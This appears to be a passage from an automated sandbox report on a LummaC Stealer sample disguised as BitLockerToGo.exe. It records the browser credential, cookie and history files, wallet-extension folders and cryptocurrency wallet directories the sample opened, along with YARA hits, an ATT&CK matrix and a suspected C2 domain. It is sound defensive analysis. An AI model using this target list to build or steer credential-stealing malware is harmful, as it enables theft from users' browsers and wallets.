Source: BitLockerToGo.exe, 00000002.00000002.1927324349.0000000002FC7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: BitLockerToGo.exe, 00000002.00000003.1898927599.0000000002F5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: BitLockerToGo.exe, 00000002.00000003.1898927599.0000000002F5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents			Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Directory queried: C:\Users\user\Documents\DTBZGIOOSO			Jump to behavior

Source: Yara match

File source: Process Memory Space: BitLockerToGo.exe PID: 7688, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 7688, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	311 Process Injection	1 Masquerading	1 OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	11 Virtualization/Sandbox Evasion	LSASS Memory	11 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	311 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	31 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Deobfuscate/Decode Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	2 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
greetclassifytalk.shop	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
